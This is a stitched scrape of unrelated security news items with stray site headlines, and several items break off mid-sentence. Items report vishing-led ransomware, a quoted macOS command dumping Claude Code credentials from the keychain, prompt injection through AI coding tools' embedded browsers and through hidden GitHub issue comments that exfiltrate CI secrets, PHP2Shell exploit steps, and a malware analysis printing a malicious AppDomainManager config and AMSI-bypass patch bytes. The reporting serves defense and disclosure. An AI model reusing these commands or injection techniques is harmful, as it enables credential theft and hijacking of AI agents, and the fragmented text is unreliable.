github

Fake IT help desk callers got by on little more than names and email addresses Attackers posing as IT help desk staff contacted employees by phone, email and Microsoft Teams in the third quarter of 2026 and talked them into opening remote access sessions, Cisco Talos Incident Response (Talos IR) found across several engagements. In one case, that access ended in ransomware. They knew names and email addresses “The attackers appeared to know employee names and email addresses, as they contacted users directly by email and Teams and used identities that mimicked legitimate company help desk personnel,” Aliza Johnson, a researcher at Cisco Talos, told Help Net Security. “They likely had broad, generic knowledge of how IT support interactions typically work as they successfully guided victims into Teams sessions and remote access and showed familiarity with common enterprise platforms like Quick Assist; however, there is no clear evidence of deep company- or victim-specific profiling beyond basic identity and contact information,” she said. The targets were not limited to senior or technical staff. “The contacted victims varied both across organizations and within the same organization, suggesting the actors were primarily seeking any susceptible user for initial access rather than targeting specific individuals for privileged or specialized access,” Johnson said. Protections built around administrators and executives would have missed many of the people these attackers reached. “Some of these attacks appear opportunistic. In one case, the victim called a fake IT support number shown in a generic browser-based scam pop-up that did not appear to spoof the victim organization, and later granted the adversary remote access. In another, the attacker launched two phishing waves, likely expecting that at least one target would be compromised,” she said. In the first of those cases, the victim dialed the number. One Quick Assist session, then ransomware In an engagement involving VYPR, a ransomware variant Talos considers new and still operationally immature, the actor used a voice phishing call to get a user to start a Microsoft Quick Assist session. Talos could not confirm what the caller said. RMM software already on the network then ran PowerShell commands that downloaded and installed a Microsoft Software Installer package from a remote IP address. The VYPR operators built on older leaked Conti-derived source code with minimal changes. To knock out EDR tools, they loaded trusted but flawed drivers to gain kernel-level access, a technique called bring your own vulnerable driver, and dropped an unusually large number of them, possibly as backups. Data exfiltration ran over multiple days, which Talos does not commonly see in ransomware cases. The group had no data leak site until after the engagement ended. A script went after Claude Code credentials On a separate macOS endpoint, infected through a trojanized application, attackers scripted a search of the keychain, the Mac’s built-in password store, for credentials tied to Anthropic’s Claude Code assistant. “We observed an attacker-controlled account executing the following command to target Anthropic Claude Code credentials, possibly for credential dumping. There was no indication of the actor using these credentials,” Johnson said. The command was /bin/sh -c security find-generic-password -a “[USER_NAME]” -w -s “Claude Code-credentials”. Its -w flag tells macOS to print the stored secret. In another case, an insider hired under false credentials used privileged access to install GitHub Copilot CLI and Claude Code. Investigators found no evidence of malicious activity or data theft. The employee’s developer access, which included cloning repositories and connecting to databases, could have let them use those tools to automate malicious actions. Logs, MFA and help desk checks Talos IR recommends phishing-resistant MFA such as FIDO2/WebAuthn and hardware security keys in place of push and SMS prompts. It also recommends requiring help desk verification before employees can enroll new MFA methods themselves. Among engagements where the entry point was known, phishing remained the top initial access method at 37 percent, down from over 50 percent last quarter. Exploitation of public-facing applications followed at 33 percent. Credential and secret management problems and weak authentication or MFA each turned up in 33 percent of engagements. Insufficient logging led the list of weaknesses, appearing in over 40 percent of engagements, partly because attackers deleted logs and partly because customers had not retained or configured them. Talos recommends at least 90 days of centralized log retention, with logs forwarded off each device so they survive tampering and rebuilds.

analysis Google's search revenue Ferrari hits an AI-powered speed bump Just wait 'til we add more AI and this thing'll really fly AWS installs an AI accelerator every 14 seconds and eyes $1 trillion annual revenue Before long, we could be writing about a cloud company with a retail side hustle Oracle wants to bill you for every AI task, not just every seat Big Red says AI units will add to subscriptions, as it juggles $90BN-plus capex, mounting debt and a $225BN revenue goal for 2030 GitHub powering up four million extra cores to stop its service going down Re-architects site to cope with AI slop-pocalypse Microsoft faces potential vote: Shareholders curious about its plans to tackle emissions Greenhouse gas output has risen dramatically since the company promised to become carbon-negative by 2030 Security Russians are posing as Signal support to launch phishing attacks PLUS: US takes down Iranian propaganda sites; Marketing company asks 'Why Do We Have Your Information?' And more! Security Microsoft patches failed to fix on-prem SharePoint, which is now under zero-day attack PLUS: China upgrades smartphone surveillance tools; Ring eases anti-snooping stance; and more Black Hat and DEF CON DEF CON Franklin project enlists hackers to harden critical infrastructure Voting village reports have been so successful, says Jeff Moss, that the whole of DEF CON will now be included Security EQT buys majority share in Swiss cybersecurity biz Acronis Went at equivalent of $3.5B+ valuation for entire firm, though portion sold not specified Malware Month Ten years since the first corp ransomware, Mikko Hyppönen sees no end in sight On the plus side, infosec's a good bet for a long, stable career Ubuntu 27.04 may bring a preview of the long-awaited Core Desktop Canonical has a long way to catch up, but it knows who it's chasing Systemd adds support for Rust What's even better than Rust in the Linux kernel? Rust in systemd! FreeBSD founder ports Omarchy to FreeBSD in ten days, ten releases Daemonarchy is unaffiliated with the Linux original, built with AI help, and could complicate FreeBSD's debate over AI contributions SparkyOS: Lightweight general-purpose Arch, on a pendrive Interesting new project from the minds behind SparkyLinux Red Hat helps teach about tech writing But learns tough lessons about AI in the process NetBSD may have found a new role: The AI-free FOSS OS Increasing awareness and adoption, followed by increasing donations

Multiple vulnerabilities in five popular AI developer tools could allow attackers to execute code on a host machine, read and steal files, or spoof browser address bars. Researchers say flaws in OpenAI's Codex and Microsoft's VS Code remain unpatched, potentially putting developers who use affected configurations at risk. AI security startup Forever Security discovered vulnerabilities in Cursor, GitHub Copilot, Anthropic's Claude Desktop, VS Code, and Codex, and disclosed four of the flaws to the affected vendors. GitHub independently fixed the Copilot vulnerability without receiving a report from Forever Security. All five share a common security weakness: embedded browsers granted capabilities beyond those available to conventional browsers. Each tool “enriched its embedded browser beyond what a normal browser allows, and those enrichments undermined the traditional threat model - as agent input, as the authority on a tab’s own address, or as reach onto the host,” Forever researcher Gal Weizman wrote in a Thursday report. Forever dubbed this class of vulnerability “Embrace,” short for EMbedded BRowser, and said the flaws led to code execution in Cursor, data theft in Claude Desktop, Codex, and VS Code, and address bar spoofing in GitHub Copilot. Here’s what each of these looks like, starting with Cursor. Cursor: arbitrary code execution Typical web pages can’t run commands on the host computer because a web page’s JavaScript cannot talk to local apps. Cursor’s integrated browser, however, allows a page to call the agent’s composer. The agent reads this as instructions and follows them, but the instructions remain hidden from human users. This opens the coding agent up to prompt injection attacks that could allow an attacker to execute commands on the host machine. The researchers disclosed the vulnerability to Cursor on September 10, and the vendor silently patched the flaw on October 1. According to Forever, Cursor did not publish a security advisory about the issue or respond to the researchers' disclosure. Cursor also did not reply to The Register’s request for comment. GitHub Copilot: address bar spoofing Under normal browser operations, a webpage cannot change the content of the address bar. “Copilot’s browser preview works differently,” Weizman wrote. “Some pages change their address without loading a new page, and the app cannot always see that. So Copilot let the page tell the app its own address.” The app checked only whether the text looked like a web address, starting with http, https or file, but it didn’t check where the tab really pointed to. This can be abused to trick the embedded browser into displaying a spoofed URL - such as github.com/login - in the address bar, while loading a fraudulent website - like a phishing page - underneath. The researchers found the address-bar spoofing flaw in GitHub Copilot 1.1.27 on September 26. GitHub independently fixed the flaw in a later Copilot build (1.1.29) on October 13 without receiving a vulnerability report from Forever. We reached out to GitHub and did not receive a response. Claude Desktop, Codex, and VS Code: arbitrary file read All three of these vendors’ coding assistants allow local HTML files opened in the built-in browser to escape its boundaries and access other files. Both Claude Desktop and VS Code allow local pages access to their respective project folders, but the researchers found that these restrictions did not apply to web workers – a browser feature that allows JavaScript to run in a background thread, separate from the page's main thread. This means a local page can start a worker, and the worker can bypass restrictions to reach any file on the machine. Codex, however, didn’t have this same restriction, meaning a local page could read any file directly without a worker. Weizman said his team disclosed the issue to Anthropic on July 23, and the AI vendor declined the Claude Desktop bug report as invalid for a “workspace trust” gated security boundary. A day later, however, Noma Security reported the same flaw, according to Weizman, and Anthropic accepted the report as valid. Anthropic did not respond to The Register’s questions about either bug report or Forever’s timeline of events. Forever disclosed the Codex bug to OpenAI on July 27 and didn’t get a response. The flaw remains unpatched, but an OpenAI spokesperson told The Register that it's aware of the issue and working to address it. On September 10, Forever disclosed the VS Code vulnerability to Microsoft and says the vendor also labeled it as an invalid workspace trust gated security boundary issue. The researchers claim it remains unpatched. Microsoft did not respond to our request for comment.®

A crypto-mining campaign abusing Hugging Face models returned days after takedown, hijacking GPU servers and planting backdoors, with one model downloaded over 28,000 times. Separately, a fake Solana starter kit on GitHub is positioned to trick AI coding agents into installing a NetSupport RAT. [...]

Some attacks take real skill. Others just need someone to leave a door open. This week has both. Exposed passwords, old bugs still getting exploited, and trusted software doing things it shouldn't. There's a strange mix of clever tricks and careless mistakes. Hackers are borrowing trust from familiar apps, websites, and AI tools. Some are using AI to speed things up. Others are leaving their

Suspected Chinese attackers chained PHP2Shell with a Linux kernel privilege-escalation exploit to root 25 servers, including Palo Alto Networks firewalls linked to US government-affiliated organizations, according to Dream researchers. The snoops began exploiting these servers on October 23, targeting organizations across the US, Japan, Taiwan, and South Korea. The attackers also honed in on US government-affiliated firewalls. “Within hours of compromising a US government-affiliated firewall, they had tunneled into the internal network, compromised a third server using the same PHP2Shell exploit, and launched a full Active Directory attack campaign - all through a chain that started with a single unauthenticated HTTPS request to a management interface that should never have been exposed to the internet,” the Israeli AI cybersecurity startup said in a report. Plus, the attackers “likely still” have persistent, remote access to compromised organizations’ networks, Dream noted. The attackers rooted the first US government-affiliated firewall on October 23, but the device crashed shortly afterward, possibly due to around 900 MB of exploit traffic. According to Dream, it remained unresponsive despite 240 automated checks over two hours. They successfully exploited the second firewall a day later, on October 24. The compromised firewalls ran vulnerable versions of Palo Alto Networks' PAN-OS. Dream said it had been working with the vendor to investigate the compromises, and Palo Alto Networks' Unit 42 researchers independently verified the attacker's tooling and confirmed Dream's reported results. To break into the firewalls, the attackers built a custom exploit chain that includes PHP2Shell and a Fragnesia kernel flaw, and ran about 40 custom post-exploitation scripts once they were inside the targeted organizations. Total attack chain in under 15 minutes PHP2Shell, comprised of CVE-2026-109618 and CVE-2026-109619, came to light early last week, along with fears that attackers would abuse the bugs to take down most of the internet. Despite “hundreds” of PHP2Shell proof-of-concept repositories on GitHub, the first reports of successful attacks didn’t start until Saturday. Both bugs have CVSS scores of 9.2 and can be exploited without authentication to run code on vulnerable PHP servers. The PHP2Shell exploit recovered by Dream was not a copy of any known public exploit. It “appears to have been independently developed and tailored specifically for the targeted firewall platform,” the researchers wrote. The attackers combined PHP2Shell with Fragnesia (CVE-2026-46300), a high-severity local privilege-escalation vulnerability affecting the Linux kernel's XFRM ESP-in-TCP subsystem. The US Cybersecurity and Infrastructure Security Agency (CISA) added this Linux kernel bug to its catalog of Known Exploited Vulnerabilities on Wednesday. Both CISA and the FBI declined to comment. The miscreants developed a four-stage PHP2Shell exploit that allowed them to execute commands without authentication on vulnerable Palo Alto Networks firewalls. They then used Fragnesia to escalate their privileges and gain root access. The attackers targeted PAN-OS 12.1 and 12.2, which run PHP 8.0.30 with a high memory limit that enabled the exploit's memory-corruption stages. “The total chain - from unauthenticated HTTPS connection to persistent root webshell - completes in under 15 minutes,” the Dream team wrote. 4 steps to root Here’s how it works: First, they flood the servers with crafted multipart POST requests to corrupt PHP’s memory, and force a predictable memory layout. Then a second request forges the stale session ID length from the memory corruption part of the attack, forcing an out-of-bounds read and exposing the base address of libphp.so in the running process. The attackers then exhaust PHP's memory again to force mod_data=NULL, creating a stale reference they can forge in the final stage to execute commands as the nobody user. They use Fragnesia to escalate to root and plant a web shell in a publicly accessible directory on the firewall. After breaking in via the compromised firewalls, the attackers snooped around in Active Directory, stealing credentials and other sensitive information. With root access, the attackers also had the master key to decrypt the LDAP service account password, which they hardcoded into every subsequent script. They also enumerated every user and group in the domain via LDAP queries, and sprayed passwords against every user account. Attackers also tried to create backdoor AD accounts and attempted SAML signing key extraction - but Dream doesn’t know if these were successful. “The attack results - whether the password spray found valid credentials, whether the backdoor accounts were created, whether SAML keys were extracted - stayed on the management server's local filesystem and were not among the artifacts we recovered,” the researchers noted. AI tools in the attack The investigation also uncovered evidence that the attackers used AI tools, but noted that this was not a fully autonomous attack. The researchers found Anthropic's Claude Code installed, an AI-powered offensive security platform called aiscan configured with Chinese models DeepSeek and Kimi, and API keys for the FOFA reconnaissance service. FOFA is a Chinese internet asset search engine similar to Shodan. The attackers used it to identify about 19,000 internet-facing Palo Alto Networks firewalls worldwide. “The persistent tunnel into the US government organization is likely still running,” Dream warned. “And the attacker still has 19,000 fingerprinted targets they can revisit as they develop profiles for additional PAN-OS versions.”®

Threat actors are delivering malicious loaders and cryptocurrency miners under the guise of artificial intelligence (AI) desktop applications for Anthropic Claude and OpenAI ChatGPT as part of a campaign dubbed Yoba. The activity involves creating fake GitHub projects that claim to be desktop applications like GPT-5.6 Sol, GPT-6 Astra, and Claude Opus, only to deliver a malware family called

Fake GitHub projects posing as desktop versions of ChatGPT and Claude have been used to spread a malware chain that ends with a cryptocurrency miner, Check Point has found. The researchers have been tracking the campaign, dubbed Yoba, for the past two months. Its operator set up repositories and GitHub.io pages for supposed apps called GPT-5.6 Sol, GPT-6 Astra and Claude Opus, and hosted the malware as ZIP releases on GitHub. “While the repositories do … More → The post Yoba malware hides in fake desktop versions of ChatGPT and Claude appeared first on Help Net Security .

Belgium's finance and tax agency has pulled "several" digital services offline after a cyberattack on the organization. FOD Financiën confirmed the attack on Wednesday, saying that MyMinfin, the agency's main online tax portal, as well as other online services, are temporarily unavailable while they start the initial investigations. "This measure helps limit the risks and makes it possible to carry out the necessary technical interventions to ensure the security of our systems," it said in a public announcement. FOD Financiën added that "this has consequences for tax deadlines in the near future," referring to the October 31 extended deadline to submit tax filings for specific types of income, such as sole traders and earnings from foreign companies. The agency confirmed the deadline will be extended to November 16, by which time MyMinfin, the platform through which such filings would normally be submitted, should be back up and running. The detail offered up in the public statement reflects the early stage of the investigation; not much is known, although there is nothing to suggest data was compromised. "Data protection is a top priority for the FOD Financiën," it said. "At present, there are no indications that a data breach has occurred or that data has been compromised. This aspect is also being closely investigated and followed up. "In the meantime, a large part of our other applications remains available with full or partial functionality. We are closely monitoring the situation and doing everything we can to make the affected services available again as soon as possible." Spokesperson Francis Adyns told local news outlets that the attack was thwarted within hours, and that it was unable to gain access to applications or data. "The attack could not be sufficiently expanded within our environment to take over applications or gain access to data," he told Nieuwsblad. "Elements that were potentially infected were isolated. As a result, MyMinfin, Tax-on-web, and Biztax went offline, but the hacking was successfully stopped. "The various services must be restored in an isolated environment. This requires considerable time to realize, with the necessary caution to rule out new risks." ®

Forever Security found ways out of the built-in browsers in five AI coding assistants: Cursor, GitHub Copilot, OpenAI’s Codex, Microsoft’s VS Code and Anthropic’s Claude Desktop. In all five, a web page or a local file reached the computer behind the browser. Cursor ran attacker code, Copilot showed a fake address, and Codex, VS Code and Claude Desktop let a single local file read the rest of the disk. Two of those holes are still … More → The post Researchers broke the browsers built into VS Code, Cursor, Copilot, Codex and Claude Desktop appeared first on Help Net Security .

AI systems are much harder to protect than traditional IT — whether from operator mistakes, malicious interference, or just plain unstable behavior. There are two main reasons for this. First, AI outputs are probabilistic , so the same prompt can give different answers each time you run it. Second, today’s LLMs can’t reliably tell commands apart from data . Despite the demonstrated security issues of AI systems that we’ve covered many times, it’s impossible to ignore the potential economic payoff of adopting them. That’s why many companies are moving beyond simple AI assistants to AI agents. These agents carry out tasks on their own and have direct access to the same tools as humans — from reading databases to changing settings in production processes. Our experts, in their new study , examine how to clearly define and minimize the resulting risks to keep potential problems to a minimum. The approach borrows and adapts the principles of Cyber Immunity and Security by Design. The basic principles of Security by Design All the principles of this discipline are universally applicable to the design of any computer system — AI agents included. What differs is how deeply each principle needs to be adapted and reworked for AI scenarios. Security is a separate and important factor right from the design stage. Security goals and assumptions are set on day one and followed throughout every stage of development. For AI agents, these assumptions should include three key points: (i) the language model is treated as untrusted, (ii) external data of any kind is considered potentially malicious, and (iii) irreversible actions can’t be performed autonomously without mandatory human approval. The system is designed on the assumption that it will be attacked. The trusted computing base and attack surface are kept to a minimum. Agents get only the tools they actually need, limited permissions, and the smallest amount of context possible. Security policy enforcement is handled entirely by deterministic components: the policy monitor, the agent harness, and isolation mechanisms (sandboxes). The principle of least privilege applies. Each agent has its own set of credentials and access privileges (identity), limited to the bare minimum it needs to do its job. If an agent temporarily needs elevated privileges, it gets them only after external approval, and they last exactly as long as the task that requires them. Components are isolated. In agent-based systems, this is one of the most complex and multi-layered architecture problems. The agent harness should run in an isolated environment (sandbox or virtual machine), and agents should be kept as isolated from each other as possible. Data processing in trusted and untrusted contexts is also kept separate. For example, one agent reads a pull request and writes a draft of the code, while another reviews that work without ever seeing the potentially malicious text of the request. Default deny is the rule. Security policies follow the rule: anything not explicitly allowed is forbidden. This includes tool calls, interactions between agents, and network traffic. Defense in depth is in place. Different measures should work at the same time and reinforce each other. Probabilistic defenses — like AI guardrails (a “firewall” for language models) or alignment (the model’s own sense of what’s acceptable and what isn’t) — can’t offer any formal security guarantees. Nevertheless, they make the system more secure overall and serve as a valuable source of telemetry. The supply chain is protected. Some agents can install skills, libraries, and other software components on their own, so these abilities need strict rules. Either block them completely, or limit them to a closed, pre-approved list of specific versions of specific components. Systems built on cloud LLMs face an extra risk: model updates. One day, the same API request might be answered by a different language model with different security properties. Pitfalls of AI security The general principles of Security by Design are well known and look simple on paper. But applying them to AI systems is tricky because agents are incredibly flexible. For example, a security team might believe that an agent on a developer’s computer runs in a sandbox and can’t change anything outside it. But an attacker, or even the agent itself, can come up with dozens of ways around this seemingly solid protection: from running commands through a local MCP server that the sandbox doesn’t restrict, to reconfiguring another AI agent installed on the system. To make things even harder, the range of attack vectors is huge: from arbitrary fields in the agent’s configuration to innocent-looking text strings in a skill file . One serious problem that designers often underestimate is user fatigue. A busy agent can throw up dozens of requests every minute, asking the user to confirm potentially dangerous actions. Within an hour, the person is clicking Approve on autopilot without reading what they’re approving. That’s why it’s important to carefully tune both how often these requests appear and how they’re worded. Nobody will read a request description that’s too long. And one that’s too short can hide the key details the user needs in order to make the right call. Vulnerabilities in agents and related tools are a pressing problem — and it’s made worse by how quickly these categories of software evolve and receive updates. Industry-standard platforms and apps — such as LangGraph , MS Semantic Kernel , and Claude Code — have had critical vulnerabilities patched more than once. Architects should always consider swapping a large, do-it-all framework for a compact, stripped-down system that has only the features a specific agent actually needs. On top of that, carefully implementing standard, long-established security measures in the available tools greatly reduces the damage if an agent is attacked or behaves unexpectedly. One example is a strict allowlist of domains that the web fetch tool can open when asked by the agent. But designers rarely account for the hidden problems and overhead associated with maintaining the list. As a result, it slowly goes out of date and leaves loopholes for attackers. The most striking example is the EchoLeak attack. Microsoft 365 Copilot had a properly implemented and fairly effective allowlist for accessing external sites, but attackers circumvented it through a feature in a secondary tool and the MS Teams domain. Practical tips for architects and security teams AI system architects and heads of engineering and security teams should build in agent security from the design stage. They should rely primarily on verifiable, deterministic mechanisms: isolating components, controlling interactions, and keeping the trusted computing base to a minimum. Key architectural decisions include defining acceptable autonomy for the agents, limiting access to confidential data and dangerous combinations of capabilities, and using sandboxes, separate roles for different models, and access control gateways. Restrictions added as an afterthought reduce risks, but they’re no substitute for secure architecture. At the organizational and operational levels, companies need to keep an inventory of their agents, coordinate the efforts of security and deployment teams, protect container environments, manage the supply chain (AIBOM), and integrate multi-layered defense. Observability requires special attention. For AI systems, this should include logging the LLM’s requests, responses, and reasoning, as well as detailed telemetry from the hosts and cloud environments where the agent harness runs. The hardest part of designing agents is balancing security, performance, and usefulness. To learn how to strike that balance with threat modeling and clearly defined security goals, read the full version of the study .

EXCLUSIVE Researchers identified at least 83 attacks against 61 public GitHub repositories, including popular open source projects such as Google LangExtract, Trivy, Brave browser, and MLflow, in what they suspect is a coordinated campaign to execute commands in CI/CD environments and steal credentials and access tokens. It all happened very quickly, the Radware threat hunters said in an exclusive interview with The Register. Most (77) of the malicious items were published during a 43-minute time span on September 1, with the remaining six occurring within the next two minutes. “Our guess is that the final aim was a supply-chain attack in which the attacker gains credentials for the repo, and then he has the power to change the contents – the code – as he wishes” and then push the malicious changes to others, Radware VP and researcher Gabi Nakibly told The Register. Nakibly and fellow Radware researcher Zvika Babo say they suspect a single individual is behind this supply chain campaign. This attacker used 74 different GitHub accounts, many of which had legitimate development histories, meaning they were likely compromised. "Considering that dozens of accounts posted the same type of payload, on the same day, within a narrow time window, and to the same infrastructure, it is reasonable to assess that the activity was coordinated,” the team wrote in research shared ahead of publication with The Register. A novel attack chain They discovered the campaign while investigating prompt injection in GitHub – and they told us the attack chain is part of what makes this supply-chain campaign novel, and extremely stealthy. First, the attacker publishes an issue, pull request, or comment containing malicious commands hidden in HTML comments. This ensures the content is not visible in the rendered page. Plus, a GitHub event – like a pull request or issue – can automatically trigger a workflow if the repository is configured to respond to that event, meaning the attacker can be pretty hands-off at this point. “The workflow automatically is triggered within a second, and if the workflow is indeed vulnerable, then the attack is executed successfully,” Nakibly said. The workflow incorporates attacker-controlled content directly into shell source code, and the shell executes the hidden, malicious command, which hoovers up environment variables and attempts to exfiltrate those to an attacker-controlled server. While the researchers examined logs from actual runs, and told us they found two cases containing evidence that the malicious command ran inside the automation environment, they can’t definitively say whether the attacker successfully obtained repository write permissions, modified source code, or compromised downstream software. But they're trying. “The big picture is that the attackers are trying to find every possible way to get inside the repos to get credentials,” Nakibly said. Plus, “the attacker doesn't need to compromise the repository or to have access to its codebase” to do this, Babo added. “Basically, every user with a GitHub account can try to run this attack – it's very easy to start this attack.” Which repos were affected? As of October 13, the threat hunters identified 83 GitHub items with a verified payload across 61 different repositories. The repos span AI frameworks, security tools, development infrastructure, databases, and other widely used open source software projects. The Radware report lists agno-agi/agno (42.7K stars), ToolJet/ToolJet (41.1K), google/langextract (38.9K), aquasecurity/trivy (38.4K), CopilotKit/CopilotKit (38K), and podman-container-tools/podman (33K), among the most popular. Other notable targets included QwenLM/qwen-code (28.5K), mlflow/mlflow (28.4K), discordjs/discord.js (26.8K), cilium/cilium (25.6K), brave/brave-browser (23.9K), dotnet/maui (23.3K), Homebrew/homebrew-cask (22.2K), github/docs (21K), apache/doris (16K), and PX4/PX4-Autopilot (12.8K). “These projects are used by thousands of organizations," Babo said. The researchers disclosed their findings to all of the projects’ maintainers, and most of the repositories were closed or fixed, but they can’t confirm that all of them were. This campaign follows several earlier supply chain attacks against open source security and dev tools as attackers increasingly look for new methods to steal credentials and other secrets. “There is no way to stop the attackers from attempting,” Nakibly said. “The only way is to make sure that the workflow code is resilient, and not vulnerable to such attacks." The researchers recommend applying least-privilege access to CI/CD workflows, and separating as much as possible workflows triggered by external events from jobs with elevated permissions. “Developers should treat external content as untrusted, and also limit the secrets and environment variables that are available to the workflow,” Babo said. ®

26,400 credentials that developers left in public code on Gitee, a Chinese code-hosting service, still worked when a researcher tested them. Anyone who copied one from that code could have used it. Independent researcher Ben Zimmermann found them by scanning 7.25 million public Gitee repositories and reported the results on October 28. Most were keys for cloud and AI services, led by

GitHub has announced that it's introducing a new package firewall as a preview to block installation of suspicious npm packages during installation time. "The firewall inspects both metadata requests and package downloads for signs of malicious activity, acting as an install-time policy gate," GitHub said. The feature, which currently supports only npm packages, is available in public preview

Introduction A couple of months ago, our research revealed a highly sophisticated infection chain and a complex .NET assembly-loading framework built on XAML markup, which strongly indicates a supply-chain attack targeting a custom Windows build used exclusively by government entities in Asia. The malicious framework has been labeled NetamLoader; at present, no attribution to any known APT group has been established. The sample came to light in the first half of 2026, when Kaspersky Security Network (KSN) issued a malware detection alert for a .config file using AppDomainManager injection to load arbitrary .NET assemblies. The file was packaged inside a CAB archive placed in the directory that stores Windows operating system update packages. Initial analysis of the CAB contents found no malicious code: most executables were legitimate components of the third-party patch management tool Patch My PC, and even the .NET assemblies used for the injection were Microsoft-signed. A later re-examination of the original .config file and the full loading process revealed the infection chain and framework described in this report. Kaspersky’s products detect this threat as HEUR:Trojan.MSIL.NetamLoader.gen, Trojan.MSIL.Zapchast.*, and Trojan.Script.Agent.*. Background During routine threat hunting, KSN sent us a malware detection alert. The notification flagged a .config file that employed AppDomainManager injection to load arbitrary .NET assemblies. The file was compressed into a CAB archive named e4537a1762fcafd2fd96bfc825bad34f9db9a24d and saved in the folder that stores Windows operating system update packages. Below is the full path to this archive: C:\Windows\SoftwareDistribution\Download\e4537a1762fcafd2fd96bfc825bad34f9db9a24d Starting with this CAB archive, we uncovered a highly complex infection chain that uses a previously unknown advanced loading framework. Initial infection The CAB file contains the following seven files, which are extracted and placed in the path C:\Windows\SoftwareDistribution\Download\Install\: Files compressed in the CAB file Except for Resources.resx, none of the files contain malicious code. We did not observe how the CAB file was delivered to the victim; we only saw the process PatchMyPC-ScriptRunner.exe running with the following arguments: C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe -updatepackage -applicationid=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx After the file is launched in this manner, the infection chain progresses to stage 1. Stage 1 Starting with the execution of PatchMyPC-ScriptRunner.exe, which then served as a host process for loading several payloads, we identified a complex two‑stage loading mechanism with multiple steps. The overall flow of stage 1 is summarized in the diagram below. Infection chain: Stage 1 Step 1 The AppDomainManager injection technique is used to load an arbitrary .NET assembly. With this mechanism, when PatchMyPC-ScriptRunner.exe runs, the accompanying configuration file PatchMyPC-ScriptRunner.exe.config in the same directory is loaded before the executable’s main function runs. Below is the content of PatchMyPC‑ScriptRunner.exe.config. <?xml version="1.0" encoding="utf-8" ?> <configuration> <runtime> <appDomainManagerType value="Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration"> </appDomainManagerType> <appDomainManagerAssembly value="Microsoft.HostIntegration.Connectors, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> </appDomainManagerAssembly> <NGenAssemblyUsageLog enabled="0" /> </runtime> <startup> <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6" /> </startup> </configuration> According to the configuration file, the class Microsoft.ApplicationServer.Caching.DataCacheFactoryConfiguration from the Microsoft.HostIntegration.Connectors.dll module (a Microsoft‑signed assembly) is loaded. DataCacheFactoryConfiguration is the configuration class for the Windows Server AppFabric Cache Client, specifying the settings for a new cache client. When the configuration class is loaded, its instance first attempts to find and read the default configuration file, fabric.config, located in the same directory. The contents of fabric.config are shown below: <?xml version="1.0" encoding="utf-8"?> <section name="foo"> <customType className="System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089(Resources.resx)" /> </section> Step 2 The DataCacheFactoryConfiguration class has a design flaw that can be abused to load arbitrary assemblies. The fabric.config file is meticulously crafted. When the file is loaded, the DataCacheFactoryConfiguration instance examines its className attribute, loads the specified type ( System.Resources.ResXResourceSet from the System.Windows.Forms assembly), and creates a ResXResourceSet instance, passing “Resources.resx” to its constructor for parsing. In the .resx file, multiple layers of payloads – including several XAML files, .NET assemblies, and JSON data – are encoded, compressed, or encrypted (see the diagram below). Each layer is unpacked and loaded by the layer above it. Once a layer finishes its operation, the next layer is extracted and loaded. Below, we analyze each layer in the order in which it is loaded: Multiple layers of payloads are compressed and encrypted in the .resx file The Microsoft RESX schema defines the XML layout used by .resx files, which has a human-readable structure and can hold application resources: strings, images, icons, and serialized objects. The Resources.resx file contains a Base64‑encoded binary object that was serialized using the well‑known, highly vulnerable .NET BinaryFormatter class. Base64-encoded serialized binary object in Resources.resx Parsing this .resx file with ResXResourceSet causes the embedded Base64‑encoded binary payload to invoke BinaryFormatter.Deserialize(), triggering a deserialization vulnerability that enables a TypeConfuseDelegate attack . The TypeConfuseDelegate then invokes XamlReader.Parse() , which loads a XAML payload (named XAML-1) embedded within the binary object. XAML is a markup language for building user interfaces in .NET applications, but its capabilities extend far beyond that. Using two built‑in objects, ObjectDataProvider and ResourceDictionary , logic equivalent to C# code can be expressed in an XML‑like syntax. A code snippet of XAML-1 Step 3 The XAML-1 code acts as a loader for an embedded payload. The process is as follows: Retrieve the full command line of the current host process PatchMyPC‑ScriptRunner.exe, converting all arguments to lowercase. Generate the AES key by hashing the command‑line string with SHA‑256. Decode the Base64 string embedded in XAML-1 into a binary array. Use the first 16 bytes of that array as the IV, then decrypt the remaining encrypted data with AES. The decrypted output is another piece of XAML code, which we refer to as XAML-2. Load XAML-2 into memory using the .NET API System.Windows.Markup.XamlReader.Load() . If any exception occurs during decryption, trigger Environment.Exit(0) , silently terminating the host process to prevent error messages that might reveal the attack. Stage 2 XAML‑2 initiates stage 2 of the infection. The diagram below shows the overall flow of this stage. Infection chain: Stage 2 XAML‑2 contains two embedded Base64‑encoded sections. These sections are actually two additional XAML files (referred to as XAML-2-1 and XAML-2-2) that were first compressed with ZIP and then encoded in Base64. After decoding and decompressing, XAML-2 loads each file into memory separately with XamlReader.Load() . A code snippet of XAML-2 XAML-2-1 The first file consists of 796 lines. Its sole purpose is to hijack a key AMSI API to bypass anti‑malware scanning. Sensitive strings in XAML-2-1 are cut into tiny pieces To avoid detection by anti‑malware signature scans, sensitive strings are split into very short fragments. When XAML-2-1 is loaded and parsed, the fragments are reassembled into the original string. The key steps it takes to achieve its goal are as follows: Check the OS architecture by verifying whether IntPtr.Size equals 8. If it does not, the host process isn’t 64‑bit, so abort the hijack operation. Combine the split strings into a single CLSID GUID (fdb00e52-a214-4aa1-8fba-4357bb0072ec), then try to create an instance of the AMSI COM object using this GUID. Patch the AMSI module. Create a delegate for the runtime method Console.Clear() and then obtain its native function pointer. Next, patch the method by overwriting its first bytes in memory with the binary payload (41 C7 00 01 00 00 00 33 C0 C3). Obtain the native pointer of the AMSI COM object with Marshal.GetIUnknownForObject() . From this pointer, read the address of its virtual method table and add 0x18 to reach another pointer that holds the address of the CAmsiAntimalware::Scan method. Use VirtualProtect() to make the Scan() pointer writable, change its value from the address of the CAmsiAntimalware::Scan() method to the address of the patched Console.Clear() , and then restore the pointer’s original protection attributes. Once this step is complete, every scan returns AMSI_RESULT_CLEAN (value = 0) . One patch targets the Console.Clear() API, which resides in the memory space of an existing legitimate module, while the other modifies only the virtual tables of the AMSI module, allowing the malware to pass code integrity checks. XAML-2-2 XAML-2-2 consists of two parts: a .NET module (the first loader, .NET 1 Loader) and a JSON data payload (the C2 configuration, JSON-1). Both components are compressed with ZIP and then encoded in Base64. XAML-2-2 first decodes and decompresses the .NET assembly .NET 1 Loader, then 